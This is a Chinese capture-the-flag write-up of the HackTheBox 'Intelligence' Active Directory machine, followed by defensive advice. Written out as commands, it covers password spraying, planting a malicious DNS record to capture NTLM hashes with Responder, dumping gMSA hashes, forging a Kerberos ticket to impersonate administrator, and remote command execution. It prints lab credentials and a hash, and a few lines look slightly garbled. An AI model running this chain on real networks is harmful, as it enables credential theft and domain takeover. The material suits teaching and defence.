域渗透实战之Intelligence
字数 1221 2025-08-24 07:48:33
域渗透实战之Intelligence - 详细教学文档
1. 信息收集阶段
1.1 初始扫描与发现
使用nmap进行端口探测:
nmap -sV -p- intelligence.htb
发现开放端口:
- DNS (53)
- HTTP (80)
- Kerberos (88)
- LDAP (389)
- SMB/RPC (135, 139, 445)
1.2 SMB枚举
使用CrackMapExec进行SMB信息收集:
crackmapexec smb intelligence.htb
获取信息:
- 域名:Intelligence.htb
- DC主机名
1.3 DNS枚举
尝试DNS区域传输(失败):
dig axfr @intelligence.htb intelligence.htb
使用dnsenum进行子域名枚举:
dnsenum intelligence.htb
1.4 LDAP查询
获取AD命名上下文:
ldapsearch -x -h intelligence.htb -b "dc=intelligence,dc=htb" -s base namingcontexts
1.5 Web内容发现
发现文档路径:
http://intelligence.htb/documents/2020-01-01-upload.pdf
http://intelligence.htb/documents/2020-12-15-upload.pdf
检查EXIF数据:
exiftool 2020-01-01-upload.pdf
1.6 目录爆破
使用feroxbuster进行目录爆破:
feroxbuster -u http://intelligence.htb -w /path/to/wordlist.txt
2. 自动化数据收集
2.1 编写Python脚本批量下载文档
#!/usr/bin/env python3
import datetime
import requests
t = datetime.datetime(2020, 1, 1)
end = datetime.datetime(2021, 7, 4)
while True:
url = t.strftime("http://intelligence.htb/documents/%Y-%m-%d-upload.pdf")
resp = requests.get(url)
if resp.status_code == 200:
print(url)
t = t + datetime.timedelta(days=1)
if t >= end:
break
2.2 数据提取
将PDF转换为文本:
for file in *.pdf; do pdftotext -layout "$file"; done
3. 密码攻击
3.1 密码喷洒
使用crackmapexec进行密码喷洒:
crackmapexec smb intelligence.htb -u ./users.txt -p 'NewIntelligenceCorpUser9876'
3.2 SMB共享枚举
使用smbmap枚举共享:
smbmap -H intelligence.htb -u 'Tiffany.Molina' -p 'NewIntelligenceCorpUser9876'
4. 域渗透技术
4.1 BloodHound使用
收集域信息:
bloodhound-python -d intelligence.htb -u 'Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -ns 10.10.10.248 -c All
4.2 PowerShell脚本分析
发现自动运行的PowerShell脚本:
# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
}
} catch {}
}
4.3 DNS记录注入攻击
使用dnstool.py添加恶意DNS记录:
dnstool.py -u intelligence\Tiffany.Molina -p NewIntelligenceCorpUser9876 --action add --record web-x --data 10.01.14.19 --type A intelligence.htb
4.4 Net-NTLMv2哈希捕获
使用Responder捕获哈希:
responder -I eth0
4.5 哈希破解
使用JohnTheRipper破解哈希:
john --format=netntlmv2 hash.txt --wordlist=/path/to/wordlist.txt
5. GMSA (组托管服务帐户)利用
5.1 GMSA枚举
使用gMSADumper获取GMSA信息:
gMSADumper.py -d intelligence.htb -u Tiffany.Molina -p NewIntelligenceCorpUser9876
5.2 Silver Ticket攻击
使用getST.py获取Kerberos票据:
getST.py -dc-ip 10.10.10.248 -spn www/dc.intelligence.htb -hashes :87c12d4a0641b2b17fb5620cc2db2ca8 -impersonate administrator intelligence.htb/svc_int
5.3 时间同步问题解决
安装并配置时间同步:
apt install ntpdate chrony
ntpdate intelligence.htb
6. 权限提升与后渗透
6.1 使用Silver Ticket访问系统
export KRB5CCNAME=administrator.ccache
smbclient.py -k -no-pass //dc.intelligence.htb/C$ -debug
6.2 获取flag
atexec.py -k intelligence.htb/administrator@dc.intelligence.htb "type C:\Users\Administrator\Desktop\root.txt"
7. 技术总结与防御建议
7.1 攻击路径总结
- 通过公开文档收集用户信息
- 利用弱密码获取初始立足点
- 分析自动化脚本发现攻击面
- 利用DNS记录注入触发NTLM认证
- 捕获并破解哈希
- 利用GMSA账户进行权限提升
- 通过Silver Ticket攻击获取域管理员权限
7.2 防御建议
-
密码策略:
- 实施强密码策略
- 禁用密码重用
- 启用多因素认证
-
GMSA安全:
- 定期审核GMSA权限
- 限制GMSA账户的权限
- 监控GMSA账户活动
-
Kerberos防护:
- 启用Kerberos Armoring
- 配置服务账户的SPN保护
- 监控异常票据请求
-
DNS安全:
- 限制DNS区域传输
- 审核DNS记录修改权限
- 监控异常DNS查询
-
日志与监控:
- 集中收集和分析安全日志
- 设置异常行为警报
- 定期进行渗透测试
-
脚本安全:
- 审查所有自动化脚本
- 限制脚本执行权限
- 监控脚本执行活动
通过实施这些防御措施,可以有效防止类似攻击,提高Active Directory环境的安全性。